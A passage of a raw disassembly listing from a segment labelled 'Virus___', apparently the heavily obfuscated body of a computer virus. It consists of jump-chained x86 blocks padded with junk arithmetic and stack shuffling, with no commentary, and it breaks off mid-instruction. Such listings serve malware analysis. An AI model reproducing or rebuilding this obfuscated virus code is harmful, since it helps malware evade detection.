[esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] jmp loc_5537C7 ; --------------------------------------------------------------------------- loc_5561FD: ; CODE XREF: Virus___:00564A77j push 36127EA9h pop eax xor eax, 7AEB0680h mov edi, eax pop eax jmp loc_559530 ; --------------------------------------------------------------------------- loc_556210: ; CODE XREF: Virus___:005543A1j push edi mov edi, 4 add ebp, edi pop edi push ebp push dword ptr [esp+4] mov ebp, [esp] jmp loc_5586FE ; --------------------------------------------------------------------------- loc_556226: ; CODE XREF: Virus___:0055C3E8j push esi mov esi, esp push edi mov edi, 580774F4h xor edi, 780328D2h shl edi, 2 sub edi, 42F2477Dh jmp loc_55B31E ; --------------------------------------------------------------------------- loc_556243: ; CODE XREF: Virus___:0055B8E2j pop esp mov [esp], eax push dword ptr [esp+4] push dword ptr [esp] pop eax push edi jmp loc_561E74 ; --------------------------------------------------------------------------- loc_556255: ; CODE XREF: Virus___:0055516Cj xor ebp, 15A27384h jmp loc_557EED ; --------------------------------------------------------------------------- loc_556260: ; CODE XREF: Virus___:005600DEj add esp, 4 xor [esp], ebp xor ebp, [esp] xor [esp], ebp push dword ptr [esp] jmp loc_55C498 ; --------------------------------------------------------------------------- loc_556274: ; CODE XREF: Virus___:005556D8j shr ebp, 1 jmp loc_559CEC ; --------------------------------------------------------------------------- loc_55627B: ; CODE XREF: Virus___:0055D6EFj mov edi, 0B331BF2h jmp loc_5579F4 ; --------------------------------------------------------------------------- loc_556285: ; CODE XREF: Virus___:005600CFj pop esp push edi mov edi, esp add edi, 4 push 79A3h jmp loc_5537A0 ; --------------------------------------------------------------------------- loc_556299: ; CODE XREF: Virus___:0055CAE0j add esp, 4 jmp loc_55062B ; --------------------------------------------------------------------------- loc_5562A4: ; CODE XREF: Virus___:00561E77j mov ebx, 7C4B078Fh shl ebx, 1 add ebx, 769F0E6h add edi, ebx jmp loc_559550 ; --------------------------------------------------------------------------- loc_5562B8: ; CODE XREF: Virus___:0055592Aj push 7F66h mov [esp], ecx push 0B20h mov [esp], eax mov ah, 5 push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], ebx jmp loc_550036 ; --------------------------------------------------------------------------- loc_5562E2: ; CODE XREF: Virus___:0056468Ej pop edi mov ecx, [esp] add esp, 4 jmp loc_54FED5 ; --------------------------------------------------------------------------- loc_5562EE: ; CODE XREF: Virus___:00558C48j add edi, ecx jmp loc_563F83 ; --------------------------------------------------------------------------- loc_5562F5: ; CODE XREF: Virus___:005618E8j add ecx, 0BC4AA506h jmp loc_551F38 ; --------------------------------------------------------------------------- loc_556300: ; CODE XREF: Virus___:00562AE4j mov esi, 4 jmp loc_55F213 ; --------------------------------------------------------------------------- loc_55630A: ; CODE XREF: Virus___:0055F270j mov [esp], ebx jmp loc_550616 ; --------------------------------------------------------------------------- loc_556312: ; CODE XREF: Virus___:00556693j push 7062h mov [esp], edx mov edx, 4 add esi, edx mov edx, [esp] add esp, 4 push edx push 4 jmp loc_561A48 ; --------------------------------------------------------------------------- loc_556332: ; CODE XREF: Virus___:0055938Aj sub dword ptr [esp+4], 1E301865h pop edi pop esi add esi, 4 jmp loc_55DCF0 ; --------------------------------------------------------------------------- loc_556347: ; CODE XREF: Virus___:005592FFj sub [esp+4], edx jmp loc_560F49 ; --------------------------------------------------------------------------- loc_556350: ; CODE XREF: Virus___:00561BC4j push 5404h mov [esp], edi sub esp, 4 mov [esp], esi push dword ptr [esp+4] mov esi, [esp] add esp, 4 jmp loc_55C9BC ; --------------------------------------------------------------------------- loc_556370: ; CODE XREF: Virus___:00555AA9j mov dl, al jmp loc_55B44A ; --------------------------------------------------------------------------- loc_556377: ; CODE XREF: Virus___:0055BD7Fj xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] mov [esp], edi jmp loc_55A6CC ; --------------------------------------------------------------------------- loc_55638B: ; CODE XREF: Virus___:005580EEj mov [esp], edx jmp loc_559092 ; --------------------------------------------------------------------------- loc_556393: ; CODE XREF: Virus___:005638FBj neg dl jmp loc_559D56 ; --------------------------------------------------------------------------- loc_55639A: ; CODE XREF: Virus___:00550996j shr ebp, 3 and ebp, 124720F9h jmp loc_552768 ; --------------------------------------------------------------------------- loc_5563A8: ; CODE XREF: Virus___:0055BFAFj push eax mov eax, 4 add edi, eax jmp loc_55DFAA ; --------------------------------------------------------------------------- loc_5563B5: ; CODE XREF: Virus___:00563513j xor edx, 70FE2672h sub eax, edx pop edx jmp loc_5543B9 ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_5522FA ; --------------------------------------------------------------------------- loc_5563CC: ; CODE XREF: Virus___:00555CE8j add esp, 4 add edi, 4 jmp loc_555805 ; --------------------------------------------------------------------------- loc_5563DA: ; CODE XREF: Virus___:00561D2Bj pop edx add eax, ebp jmp loc_55CF13 ; --------------------------------------------------------------------------- loc_5563E2: ; CODE XREF: Virus___:005565DEj push 279h jmp loc_556791 ; --------------------------------------------------------------------------- loc_5563EC: ; CODE XREF: Virus___:0055AE92j push 235F145Bh pop edx add ebx, edx mov edx, [esp] jmp loc_558A19 ; --------------------------------------------------------------------------- loc_5563FC: ; CODE XREF: Virus___:00562C79j xor esi, edi xor edi, esi jmp loc_55985B ; --------------------------------------------------------------------------- loc_556405: ; CODE XREF: Virus___:005538BFj push edi mov edi, esp push esi mov esi, 61462129h jmp loc_55D4C3 ; --------------------------------------------------------------------------- loc_556413: ; CODE XREF: Virus___:00563330j xor ebp, 2C84304h add edx, ebp jmp loc_55767E ; --------------------------------------------------------------------------- loc_556420: ; CODE XREF: Virus___:0055FD18j xor esi, 751D086Eh push eax mov eax, 1 sub esi, eax pop eax jmp loc_5540A0 ; --------------------------------------------------------------------------- loc_556434: ; CODE XREF: Virus___:005647ECj push ecx push edx mov edx, 0D64215Eh or edx, 76457419h xor edx, 410F5646h jmp loc_552F53 ; --------------------------------------------------------------------------- loc_55644C: ; CODE XREF: Virus___:00550DC7j mov eax, 69FF62FFh mov edx, 63BF0EFFh jmp loc_55F4A1 ; --------------------------------------------------------------------------- loc_55645B: ; CODE XREF: Virus___:00561BA5j pop edx pop esi sub ecx, ebp jmp loc_557D34 ; --------------------------------------------------------------------------- loc_556464: ; CODE XREF: Virus___:0054FE50j mov [esp], eax push 50657AC0h pop eax or eax, 335F1394h jmp loc_557018 ; --------------------------------------------------------------------------- loc_556477: ; CODE XREF: Virus___:0055F97Dj mov esi, 6CA03873h xor edx, esi jmp loc_55B023 ; --------------------------------------------------------------------------- loc_556483: ; CODE XREF: Virus___:0055CEB8j add eax, 4 push eax push dword ptr [esp+4] jmp loc_55B7F6 ; --------------------------------------------------------------------------- loc_556492: ; CODE XREF: Virus___:0055952Bj pop ebp push edx push 47D3h mov [esp], ecx mov ecx, 47850361h shr ecx, 7 jmp loc_5589F4 ; --------------------------------------------------------------------------- loc_5564A9: ; CODE XREF: Virus___:0055E371j push 671h mov [esp], ebp mov ebp, esp jmp loc_561CCC ; --------------------------------------------------------------------------- loc_5564B8: ; CODE XREF: Virus___:00552BDFj mov ebp, [esp] jmp loc_562470 ; --------------------------------------------------------------------------- loc_5564C0: ; CODE XREF: Virus___:0055F98Dj mov ebx, 3C502331h dec ebx jmp loc_555055 ; --------------------------------------------------------------------------- loc_5564CB: ; CODE XREF: Virus___:0055CF53j push esp push dword ptr [esp] pop edx add esp, 4 add edx, 4 jmp loc_55532E ; --------------------------------------------------------------------------- loc_5564E1: ; CODE XREF: Virus___:00559FA8j xor ecx, edx xor edx, ecx xor ecx, edx xchg ecx, [esp] push dword ptr [esp] pop ebx add esp, 4 push 6816h mov [esp], eax push 6423h mov [esp], ebx mov eax, [esp] push 84Ch mov [esp], edi push esp pop edi add edi, 4 add edi, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] mov ebx, [esp] push ebx jmp loc_55B6D7 ; --------------------------------------------------------------------------- loc_55652F: ; CODE XREF: Virus___:0055FBF4j push 6783h mov [esp], esi mov esi, 1D113DB0h jmp loc_561E36 ; --------------------------------------------------------------------------- loc_556541: ; CODE XREF: Virus___:00555F03j shr ebx, 2 jmp loc_5603FD ; --------------------------------------------------------------------------- loc_556549: ; CODE XREF: Virus___:00563D78j pop esp popa popf retn ; --------------------------------------------------------------------------- jmp loc_550475 ; --------------------------------------------------------------------------- loc_556552: ; CODE XREF: Virus___:00559ACFj add al, 69h pop ecx push small 44C5h jmp loc_55916F ; --------------------------------------------------------------------------- loc_55655E: ; CODE XREF: Virus___:00557822j sub esp, 4 mov [esp], ebp pop ebx jmp loc_55DB65 ; --------------------------------------------------------------------------- loc_55656A: ; CODE XREF: Virus___:005590C7j pop eax jmp loc_564650 ; --------------------------------------------------------------------------- loc_556570: ; CODE XREF: Virus___:00552F2Dj sub ecx, eax pop eax xchg ecx, [esp] pop esp mov [esp], ecx push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebx push ecx push eax mov al, dl mov cl, al pop eax mov bh, cl jmp loc_5584F8 ; --------------------------------------------------------------------------- loc_55659B: ; CODE XREF: Virus___:0055C7B7j push dword ptr [esp+4] pop edi pop dword ptr [esp] jmp loc_556E61 ; --------------------------------------------------------------------------- loc_5565A8: ; CODE XREF: Virus___:00559356j mov [esp], ax mov al, 6Eh jmp loc_5576F5 ; --------------------------------------------------------------------------- loc_5565B3: ; CODE XREF: Virus___:0055E008j mov edi, [esp] add esp, 4 pop ebx jmp loc_55AB1A ; --------------------------------------------------------------------------- loc_5565BF: ; CODE XREF: Virus___:0055A66Ej shl ebp, 1 sub ebp, 4F9F7245h xchg ebx, ebp not ebx xchg ebx, ebp xor ebp, 3D425D63h jmp loc_55F905 ; --------------------------------------------------------------------------- loc_5565D8: ; CODE XREF: Virus___:0055291Dj add esp, 4 mov eax, [esp] jmp loc_5563E2 ; --------------------------------------------------------------------------- loc_5565E3: ; CODE XREF: Virus___:0055F6C8j sub esi, 21FD0014h add esi, ecx add esi, 21FD0014h mov ecx, [esp] add esp, 4 add eax, esi pop esi push 7C95h jmp loc_561C45 ; --------------------------------------------------------------------------- loc_556607: ; CODE XREF: Virus___:0055B7E4j push edx push ebx mov ebx, 4D5E71EAh sub ebx, 18EF5FB2h jmp loc_56062D ; --------------------------------------------------------------------------- loc_556619: ; CODE XREF: Virus___:005505E1j mov edi, 674B591Ch jmp loc_562B91 ; --------------------------------------------------------------------------- loc_556623: ; CODE XREF: Virus___:0055F06Fj push esi jmp loc_558447 ; --------------------------------------------------------------------------- loc_556629: ; CODE XREF: Virus___:005572DAj mov esi, esp add esi, 4 push ebx jmp loc_5582F2 ; --------------------------------------------------------------------------- loc_556637: ; CODE XREF: Virus___:0055ABEEj shl esi, 1 jmp loc_55A0A1 ; --------------------------------------------------------------------------- loc_55663E: ; CODE XREF: Virus___:00561B5Aj mov edi, 4 jmp loc_551386 ; --------------------------------------------------------------------------- push dword ptr [edi+40h] jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_556650: ; CODE XREF: Virus___:00563303j add esi, 26256477h neg esi jmp loc_54FAF0 ; --------------------------------------------------------------------------- loc_55665D: ; CODE XREF: Virus___:0055215Ej add ecx, 4 add ecx, 4 xchg ecx, [esp] jmp loc_557A43 ; --------------------------------------------------------------------------- loc_55666E: ; CODE XREF: Virus___:00563DAAj add esp, 4 xchg edi, [esp] mov esp, [esp] push dword ptr [esp] mov ecx, [esp] add esp, 4 push 13B0h mov [esp], esi push esp push dword ptr [esp] pop esi add esp, 4 jmp loc_556312 ; --------------------------------------------------------------------------- loc_556698: ; CODE XREF: Virus___:00564246j mov edx, 33AC2F88h dec edx push eax mov eax, 2C436BDEh shr eax, 1 sub eax, 0FFFFFFFFh push ebx mov ebx, 11E46A04h or eax, ebx pop ebx push ebp push ebx push 364F553Dh pop ebx jmp loc_55EC96 ; --------------------------------------------------------------------------- loc_5566C1: ; CODE XREF: Virus___:0055F174j add edi, ecx pop ecx shr edi, 1 push edx push edi mov edi, 2EE152E4h mov edx, edi pop edi not edx not edx inc edx sub edx, 73FE2ABDh not edx jmp loc_551228 ; --------------------------------------------------------------------------- loc_5566E2: ; CODE XREF: Virus___:005547A3j pop edi xor ebp, esi mov esi, [esp] add esp, 4 sub ebx, 65AC07CAh jmp loc_550BDF ; --------------------------------------------------------------------------- loc_5566F6: ; CODE XREF: Virus___:00563134j mov eax, [esp] add esp, 4 xchg esi, [esp] pop esp mov [esp], edx push edi mov edi, 7C9E71AEh push 238Ch jmp loc_562F7D ; --------------------------------------------------------------------------- loc_556716: ; CODE XREF: Virus___:00558284j mov ebp, 56193A0Dh sub ecx, ebp pop ebp sub ecx, 114CE1EFh sub ebx, ecx jmp loc_550E41 ; --------------------------------------------------------------------------- loc_55672B: ; CODE XREF: Virus___:0055FA5Bj xchg eax, [esp] pop esp jmp loc_55EDCD ; --------------------------------------------------------------------------- loc_556734: ; CODE XREF: Virus___:0055AC03j add edx, 18067A66h add edx, eax sub edx, 18067A66h add edx, 30215726h add edx, 4C596C0Fh push 151Fh mov [esp], ecx mov ecx, 8FF0DC8h sub edx, 18D502BAh add edx, ecx push ebp mov ebp, 6369D0h shl ebp, 5 dec ebp xor ebp, 2CA923D1h xor ebp, 38111894h add edx, ebp pop ebp mov ecx, [esp] add esp, 4 push dword ptr [esp] mov eax, [esp] push eax jmp loc_55CC28 ; --------------------------------------------------------------------------- loc_556791: ; CODE XREF: Virus___:005563E7j mov [esp], ecx push esp pop ecx jmp loc_5574C9 ; --------------------------------------------------------------------------- loc_55679B: ; CODE XREF: Virus___:005529FEj xor al, 6Ch add cl, al pop eax jmp loc_5607FF ; --------------------------------------------------------------------------- loc_5567A5: ; CODE XREF: Virus___:0055BC13j mov edx, 5EE2719Ch shl edx, 3 jmp loc_55F19E ; --------------------------------------------------------------------------- loc_5567B2: ; CODE XREF: Virus___:0055C628j or ecx, edx jmp loc_555664 ; --------------------------------------------------------------------------- loc_5567B9: ; CODE XREF: Virus___:0055D86Dj mov esi, 7F8D56ABh add [esp+4], esi jmp loc_55D526 ; --------------------------------------------------------------------------- loc_5567C7: ; CODE XREF: Virus___:0055EF78j not cl and cl, 0C5h shr cl, 3 add cl, 21h add cl, 0A4h jmp loc_56320A ; --------------------------------------------------------------------------- loc_5567DA: ; CODE XREF: Virus___:0055D9D5j add ebp, 151E0742h add esi, ebp pop ebp push ecx mov ecx, 4FDE5F62h inc ecx or ecx, 10047935h jmp loc_55E319 ; --------------------------------------------------------------------------- loc_5567F5: ; CODE XREF: Virus___:005546DAj pop ebx xor edx, edi mov edi, [esp] add esp, 4 add edx, 0C7373E9h add esi, edx jmp loc_554988 ; --------------------------------------------------------------------------- loc_55680B: ; CODE XREF: Virus___:005600B1j push ebx push 52551D99h pop ebx push ebx not dword ptr [esp] pop ebx and ebx, 219F7B4Ch not ebx add ebx, 97C56358h xor ebp, ebx pop ebx jmp loc_55D45D ; --------------------------------------------------------------------------- loc_55682D: ; CODE XREF: Virus___:00560079j push cx sub byte ptr [esp+1], 0FFh mov cx, [esp] add esp, 2 xchg bl, ch inc bl xchg bl, ch push bx mov bl, 0B6h xor ch, bl pop bx push edx jmp loc_55D815 ; --------------------------------------------------------------------------- loc_55684F: ; CODE XREF: Virus___:00561421j sub ecx, edi pop edi or ecx, 68B030BEh and ecx, 596642D9h jmp loc_555E8B ; --------------------------------------------------------------------------- loc_556863: ; CODE XREF: Virus___:0055C53Ej push dword ptr [esp] jmp loc_562A1A ; --------------------------------------------------------------------------- loc_55686B: ; CODE XREF: Virus___:0055E057j xchg eax, [esp] jmp loc_563F6D ; --------------------------------------------------------------------------- loc_556873: ; CODE XREF: Virus___:0055EF47j pop esp shr ecx, 0 or eax, eax jz loc_558298 push ebx sub dword ptr [esp], 3F7D5DCAh jmp loc_55E9A9 ; --------------------------------------------------------------------------- loc_55688C: ; CODE XREF: Virus___:0054F8EEj push eax mov eax, 66F6A77h add eax, 21D226E7h sub eax, 434D47BBh shl eax, 7 add eax, 85DB2E84h sub ecx, 4CC72885h add ecx, eax add ecx, 4CC72885h pop eax push edx mov edx, 4 jmp loc_55AB0C ; --------------------------------------------------------------------------- loc_5568BE: ; CODE XREF: Virus___:005597D3j push ebp jmp loc_5554D5 ; --------------------------------------------------------------------------- loc_5568C4: ; CODE XREF: Virus___:0055E2E7j push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] mov esp, [esp] jmp loc_5522A6 ; --------------------------------------------------------------------------- loc_5568DB: ; CODE XREF: Virus___:0056309Aj add ebp, 48425C76h pop ecx add ebp, 506F78EAh jmp loc_55394A ; --------------------------------------------------------------------------- loc_5568ED: ; CODE XREF: Virus___:005532B0j add edx, ebp pop ebp jmp loc_560109 ; --------------------------------------------------------------------------- loc_5568F5: ; CODE XREF: Virus___:0055D7B6j mov [esp], ebx push 63F7h jmp loc_551F69 ; --------------------------------------------------------------------------- loc_556902: ; CODE XREF: Virus___:0055D848j sub esp, 4 mov [esp], eax mov eax, 60C63A88h push 7714h mov [esp], eax jmp loc_5584BE ; --------------------------------------------------------------------------- loc_55691A: ; CODE XREF: Virus___:00561052j add esp, 4 add ebx, eax pop eax push ecx mov ecx, 3B0729DAh add ecx, 7B94617h jmp loc_563C4A ; --------------------------------------------------------------------------- loc_556934: ; CODE XREF: Virus___:0055B765j push 5227h mov [esp], edx mov edx, 4 jmp loc_5515AA ; --------------------------------------------------------------------------- loc_556946: ; CODE XREF: Virus___:00558473j sub esi, 7F915FF7h mov eax, esi pop esi push edx mov edx, 2FE94468h not edx inc edx dec edx neg edx xor edx, 51365EF2h sub ebp, edx pop edx add ebp, eax push eax mov eax, 7EDF1A9Bh jmp loc_558A9F ; --------------------------------------------------------------------------- loc_556971: ; CODE XREF: Virus___:005619C4j add ecx, esi pop esi xchg ecx, [esp] mov esp, [esp] add eax, edi pop edi add eax, 4 xchg eax, [esp] mov esp, [esp] push 6323h mov [esp], ebx push ebp jmp loc_562DA7 ; --------------------------------------------------------------------------- loc_556996: ; CODE XREF: Virus___:00554D47j not dword ptr [esp] pop ebp xchg ebp, edi jmp loc_553784 ; --------------------------------------------------------------------------- loc_5569A1: ; CODE XREF: Virus___:0055D5D8j mov esi, 45CC54E6h not esi and esi, 2C7101F6h jmp loc_55909F ; --------------------------------------------------------------------------- loc_5569B3: ; CODE XREF: Virus___:00561A1Ej mov esp, [esp] mov [esp], edx jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_5569BE: ; CODE XREF: Virus___:005641C3j shr eax, 7 jmp loc_55BCAD ; --------------------------------------------------------------------------- loc_5569C6: ; CODE XREF: Virus___:0055C507j pop ebx xor edx, [esp] xor [esp], edx xor edx, [esp] jmp loc_55D029 ; --------------------------------------------------------------------------- loc_5569D5: ; CODE XREF: Virus___:0055B3A2j mov esp, [esp] mov [esp], ax jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_5569E1: ; CODE XREF: Virus___:0056254Ej mov [esp], esi mov esi, esp push 2D0Eh jmp loc_562859 ; --------------------------------------------------------------------------- loc_5569F0: ; CODE XREF: Virus___:0054FAB4j push dword ptr [esp] jmp loc_55CF82 ; --------------------------------------------------------------------------- loc_5569F8: ; CODE XREF: Virus___:00560EE8j push eax mov eax, 1A641B09h shr eax, 5 jmp loc_56165C ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcr word ptr [esp], cl pushf jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_556A16: ; CODE XREF: Virus___:0056340Ej push ebp push 6830h mov [esp], esi push ecx jmp loc_55740D ; --------------------------------------------------------------------------- loc_556A25: ; CODE XREF: Virus___:0055BFD2j mov edx, [esp] add esp, 4 add esp, 4 push 7BD3h mov [esp], ebp jmp loc_557B1E ; --------------------------------------------------------------------------- loc_556A3B: ; CODE XREF: Virus___:005521DAj mov ebx, edi jmp loc_55F70B ; --------------------------------------------------------------------------- loc_556A42: ; CODE XREF: Virus___:00552350j mov edx, 40CA13E7h xor edx, 25FE4225h neg edx and edx, 687C6A25h jmp loc_55808F ; --------------------------------------------------------------------------- loc_556A5A: ; CODE XREF: Virus___:0054F996j sub ebx, edi pop edi jmp loc_5647B3 ; --------------------------------------------------------------------------- loc_556A62: ; CODE XREF: Virus___:00552256j pop ax push eax push ebx jmp loc_553D5F ; --------------------------------------------------------------------------- loc_556A6B: ; CODE XREF: Virus___:0055B338j push dword ptr [esp] pop ecx add esp, 4 add eax, ecx pop ecx sub eax, 64E68CDh xor eax, 3BC56BFCh mov edx, eax pop eax sub esi, 6A5166FBh add esi, edx add esi, 6A5166FBh mov edx, [esp] add esp, 4 push 6643h jmp loc_55437F ; --------------------------------------------------------------------------- loc_556AA3: ; CODE XREF: Virus___:00556BDBj push 1F51h mov [esp], esp add dword ptr [esp], 4 mov ecx, [esp] add esp, 4 sub esp, 4 mov [esp], eax mov eax, 524D4DDAh jmp loc_55E61A ; --------------------------------------------------------------------------- loc_556AC8: ; CODE XREF: Virus___:005515B3j add ebx, 52BC2DF0h add ebx, ebp sub ebx, 52BC2DF0h push ecx mov ecx, 1B6469EDh or ecx, 589B626Dh jmp loc_555323 ; --------------------------------------------------------------------------- loc_556AE7: ; CODE XREF: Virus___:0055E868j pop ecx sub ecx, 2A6563F9h pop ebx jmp loc_562CDD ; --------------------------------------------------------------------------- loc_556AF4: ; CODE XREF: Virus___:00550187j and edi, 7A8A5A89h not edi not edi sub edi, 0F9510B83h xor edx, edi mov edi, [esp] add esp, 4 xor edx, 394C26ECh xchg ecx, edx not ecx xchg ecx, edx sub edx, 3FCA8E4Ch add edi, edx pop edx push edi xor dword ptr [esp], 6EFA44C5h jmp loc_564793 ; --------------------------------------------------------------------------- loc_556B2E: ; CODE XREF: Virus___:0055A2A2j add ebx, 493F5A93h mov esi, [esp] add esp, 4 xchg ebx, [esp] jmp loc_561B7D ; --------------------------------------------------------------------------- loc_556B45: ; CODE XREF: Virus___:00553810j sub ecx, 68E57B3h pop edx pop edx sub edx, 39984291h add edx, ecx push ebp mov ebp, 68BA087Eh and ebp, 0E8B09C0h jmp loc_55941A ; --------------------------------------------------------------------------- loc_556B66: ; CODE XREF: Virus___:0055FD6Fj mov ebp, edi pop edi jmp loc_56214B ; --------------------------------------------------------------------------- loc_556B6E: ; CODE XREF: Virus___:00552B43j inc edx inc edx jmp loc_563512 ; --------------------------------------------------------------------------- loc_556B75: ; CODE XREF: Virus___:0056044Aj and eax, ebx mov ebx, [esp] add esp, 4 or eax, eax jz loc_56222B push dword ptr [edi+1Ch] sub esp, 4 mov [esp], edi jmp loc_564656 ; --------------------------------------------------------------------------- loc_556B93: ; CODE XREF: Virus___:00555C82j mov bh, dh mov ah, bh pop ebx mov cl, ah pop eax pop edx shr cl, 7 push eax jmp loc_5529F8 ; --------------------------------------------------------------------------- loc_556BA5: ; CODE XREF: Virus___:00551C7Cj xor esi, [esp] pop esp jmp loc_55E592 ; --------------------------------------------------------------------------- loc_556BAE: ; CODE XREF: Virus___:00559D82j push eax mov eax, 0FF583920h xor edi, eax mov eax, [esp] jmp loc_5591BC ; --------------------------------------------------------------------------- loc_556BBE: ; CODE XREF: Virus___:00559A34j push 1E1Eh jmp loc_55F364 ; --------------------------------------------------------------------------- loc_556BC8: ; CODE XREF: Virus___:0055F660j sub cl, 0A2h jmp loc_55B63B ; --------------------------------------------------------------------------- loc_556BD0: ; CODE XREF: Virus___:0056475Aj pop ebp jmp loc_56400B ; --------------------------------------------------------------------------- mov cx, [esp] push ecx jmp loc_556AA3 ; --------------------------------------------------------------------------- loc_556BE0: ; CODE XREF: Virus___:00557E3Cj add esp, 4 jmp loc_5590B4 ; --------------------------------------------------------------------------- loc_556BEB: ; CODE XREF: Virus___:00560B85j add ebp, eax push dword ptr [esp] jmp loc_55FBC8 ; --------------------------------------------------------------------------- loc_556BF5: ; CODE XREF: Virus___:0056356Bj pop edi add ecx, 0AE9146Ch add ebx, 7C1D7450h jmp loc_56024A ; --------------------------------------------------------------------------- loc_556C07: ; CODE XREF: Virus___:00551055j shr ebx, 1 sub ebx, 0AC2EE61Ch mov edx, ebx pop ebx neg edx inc edx not edx add edx, 8683D522h add ebx, edx pop edx add ebx, 4 jmp loc_56350A ; --------------------------------------------------------------------------- loc_556C28: ; CODE XREF: Virus___:0055EF2Bj sub eax, 4CEB387Fh push ecx mov ecx, 42B327D5h jmp loc_550491 ; --------------------------------------------------------------------------- loc_556C38: ; CODE XREF: Virus___:00560D3Cj xor edi, [esp] pop esp push 1737h mov [esp], ebp push ecx mov ecx, 257B11DDh mov ebp, ecx pop ecx jmp loc_5578A4 ; --------------------------------------------------------------------------- loc_556C52: ; CODE XREF: Virus___:00551D80j mov edx, 4 add edi, 2CB1573h jmp loc_55D3BF ; --------------------------------------------------------------------------- loc_556C62: ; CODE XREF: Virus___:0055301Dj add eax, ebx jmp loc_55D371 ; --------------------------------------------------------------------------- loc_556C69: ; CODE XREF: Virus___:0055FF6Fj mov eax, edi jmp loc_564B56 ; --------------------------------------------------------------------------- loc_556C70: ; CODE XREF: Virus___:005546A9j mov [esp], esi jmp loc_561640 ; --------------------------------------------------------------------------- loc_556C78: ; CODE XREF: Virus___:0055A36Fj push eax jmp loc_552FDE ; --------------------------------------------------------------------------- loc_556C7E: ; CODE XREF: Virus___:00558AF2j shr edi, 8 dec edi jmp loc_554930 ; --------------------------------------------------------------------------- loc_556C87: ; CODE XREF: Virus___:005621A4j sub ecx, 4 xchg ecx, [esp] mov esp, [esp] mov [esp], ecx push edx push 1A12h mov [esp], ebx push eax push 65B44ED2h pop eax add eax, 1 or eax, 2A8876EEh and eax, 69580699h xor eax, 4E8E158Eh mov ebx, eax mov eax, [esp] add esp, 4 jmp loc_554942 ; --------------------------------------------------------------------------- loc_556CC8: ; CODE XREF: Virus___:0054F9C7j sub ebx, edx pop edx add ebx, 779D60E0h sub ebx, ecx sub ebx, 779D60E0h add ebx, 787304F8h pop ecx jmp loc_555CC0 ; --------------------------------------------------------------------------- loc_556CE5: ; CODE XREF: Virus___:0055F3FBj add ah, ch mov ecx, [esp] jmp loc_5558D1 ; --------------------------------------------------------------------------- loc_556CEF: ; CODE XREF: Virus___:005532DEj push 31BEh mov [esp], ebx mov esi, [esp] add esp, 4 push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] jmp loc_55D1E0 ; --------------------------------------------------------------------------- loc_556D14: ; CODE XREF: Virus___:005583E7j sub esi, 27B53C31h pop ebx sub esi, eax sub esi, 580A64BEh pop eax jmp loc_56230C ; --------------------------------------------------------------------------- loc_556D29: ; CODE XREF: Virus___:00553D5Aj xor edx, 5BD26207h xor eax, edx pop edx mov ebp, [esp] add esp, 4 push ecx push edx mov edx, 1BF065D9h mov ecx, 2C589EBDh sub ecx, 5F6F698Dh add ecx, edx add ecx, 5F6F698Dh pop edx and eax, ecx pop ecx push ebp push 0F7F7FC7Ch jmp loc_553870 ; --------------------------------------------------------------------------- loc_556D64: ; CODE XREF: Virus___:0055D16Fj push ebp mov ebp, 78D0134Ah xor ebp, 1FB30097h shl ebp, 1 push esi mov esi, 57A8DD8Dh sub ebp, esi mov esi, [esp] add esp, 4 sub ebx, ebp pop ebp add ebx, edi add ebx, 771D4A2Dh push dword ptr [ebx] mov ecx, [esp] add esp, 4 jmp loc_55AD10 ; --------------------------------------------------------------------------- loc_556D9B: ; CODE XREF: Virus___:0055A0DDj add esp, 4 jmp loc_553197 ; --------------------------------------------------------------------------- loc_556DA3: ; CODE XREF: Virus___:00564B1Fj pop ecx xor bl, al push 4C67h mov [esp], edi push esp jmp loc_5545E8 ; --------------------------------------------------------------------------- loc_556DB4: ; CODE XREF: Virus___:0055E9C7j push ebx mov ebx, 565E000Dh inc ebx push ecx push 358B52B2h jmp loc_56097B ; --------------------------------------------------------------------------- loc_556DC6: ; CODE XREF: Virus___:00553F7Aj push dword ptr [esp+4] pop ecx jmp loc_55FB2F ; --------------------------------------------------------------------------- loc_556DD0: ; CODE XREF: Virus___:0055E2DCj mov ebx, [esp] add esp, 4 add ebp, 0F2279A35h mov ebx, ebp push dword ptr [esp] mov ebp, [esp] add esp, 4 add esp, 4 push 2E2h mov [esp], ecx mov ecx, 6DCB5C54h xor ecx, 0FEC4ADBh xor ecx, 0FEB678Ah neg ecx xor ecx, 0FEF2E478h sub esp, 4 mov [esp], edx mov edx, 50964B66h and edx, 75BB17F4h xor edx, 4A26629Fh jmp loc_553B93 ; --------------------------------------------------------------------------- loc_556E30: ; CODE XREF: Virus___:0055CDEFj pop esi sub ecx, 0FFFFFFFFh push edx mov edx, 2812E35h sub ecx, 17682017h sub ecx, edx push edx mov edx, 549B4E21h jmp loc_560065 ; --------------------------------------------------------------------------- loc_556E50: ; CODE XREF: Virus___:00559537j pop edi jmp loc_551D16 ; --------------------------------------------------------------------------- loc_556E56: ; CODE XREF: Virus___:00556F43j shl bh, 3 or bh, 0A1h jmp loc_557137 ; --------------------------------------------------------------------------- loc_556E61: ; CODE XREF: Virus___:005565A3j pop esp xor bx, ax movzx eax, ax push eax push esp mov eax, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] jmp loc_559231 ; --------------------------------------------------------------------------- lodsb jmp loc_55BC64 ; --------------------------------------------------------------------------- loc_556E8A: ; CODE XREF: Virus___:005601F1j dec dword ptr [esp] not dword ptr [esp] pop ebx shr ebx, 7 xor ebx, 5B649E82h mov ecx, ebx pop ebx add dword ptr [esp+8], 7A066F8Fh add [esp+8], ecx sub dword ptr [esp+8], 7A066F8Fh mov ecx, [esp] add esp, 4 push dword ptr [esp] pop ebx jmp loc_55D7BB ; --------------------------------------------------------------------------- loc_556EC0: ; CODE XREF: Virus___:0055370Aj add edx, eax pop eax xchg edx, [esp] mov esp, 